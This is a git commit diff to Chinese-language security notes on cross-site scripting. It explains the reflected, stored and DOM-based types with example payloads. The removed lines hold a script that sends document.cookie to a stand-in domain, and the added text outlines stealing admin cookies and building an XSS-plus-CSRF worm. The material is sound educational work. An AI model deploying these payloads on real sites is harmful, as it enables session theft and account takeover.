Update 攻击技术.md

补充XSS的分类和区别以及常见的攻击手段
This commit is contained in:
AdianGg 2021-06-26 23:16:01 +08:00
parent a8c5a57065
commit 8492d866a2

View File

@ -13,29 +13,61 @@
### 概念
跨站脚本攻击Cross-Site Scripting, XSS可以将代码注入到用户浏览的网页上这种代码包括 HTML JavaScript
跨站脚本攻击Cross-Site Scripting为与层叠样式表CascadingStyleSheets做区分所以简称XSS而非CSS可以将代码注入到用户浏览的网页上这种代码包括 HTML JavaScript
XSS共有三种类型分别是`反射性``存储型``DOM型`
### 攻击原理
例如有一个论坛网站攻击者可以在上面发布以下内容
#### 反射性
通常出现在搜索框等提交位置举例来说在提交搜索内容跳转到搜索结果的页面时通常会将搜索内容输出到前端页面比如
```html
<script>location.href="//domain.com/?c=" + document.cookie</script>
<p>您搜索的 test ,共有1条搜索结果</p>
```
之后该内容可能会被渲染成以下形式
此时的`test`这个keyword通常是通过GET传参到搜索结果页面,`URL`通常为
```html
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
```
https://www.example.com/search.php?keyword=test
```
另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie如果这个论坛网站通过 Cookie 管理用户登录状态那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了
我们可以构造如下语句
```
https://www.example.com/search.php?keyword=<script>alert("test")</script>
```
此时前端标签就会变成
```
<p>您搜索的<script>alert("test")</script>,共有1条搜索结果</p>
```
若没有相关过滤则会执行该`Javascript`语句造成反射性XSS的触发反射型XSS通常需要采用钓鱼等手段诱导用户点击构造好的`URL`从而达到获取目标cookies等目的
#### 存储型
通常会出现在用户资料信息留言评论等Web需要与数据库交互的地方恶意Javascript会被存储到数据库中所有用户访问到被取到恶意数据的页面都会遭到XSS攻击的毒手
举例来说如果一个博客网站存在XSS漏洞其中的某一篇文章的评论区有人发出了恶意代码则这个恶意代码会被保存到评论的数据库中每一个读到这篇文章的用户的页面上都会出现恶意的Javascript代码存储型XSS危害较高
存储型XSS攻击思路
- 发送到评论区当博主从后台查看评论则可以通过构造好的恶意代码获取到Web的后台地址以及管理员的Cookies
- 发送给评论区配合CSRF可以实现Web蠕虫
#### DOM型
DOM型时是于文档对象模型(Document Object Model)的XSS漏洞和反射性XSS一样需要诱导目标用户点击构造好的URLDOM型和反射性XSS的区别在于反射性XSS将payload写在网页的html源码中而DOM型的payload在浏览器的DOM中
### 危害
- 窃取用户的 Cookie
- 伪造虚假的输入表单骗取个人信息
- 显示伪造的文章或者图片
- Web蠕虫
### 防范手段